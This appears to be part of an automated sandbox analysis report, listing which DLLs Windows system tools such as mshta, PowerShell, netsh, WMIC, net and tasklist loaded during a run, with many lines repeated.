Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: napinsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: wshbth.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: nlaapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: winrnr.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\query.exe	Section loaded: regapi.dll
Source: C:\Windows\System32\quser.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\quser.exe	Section loaded: utildll.dll
Source: C:\Windows\System32\quser.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\quser.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: snmpapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: inetmib1.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ARP.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: snmpapi.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: inetmib1.dll
Source: C:\Windows\System32\NETSTAT.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
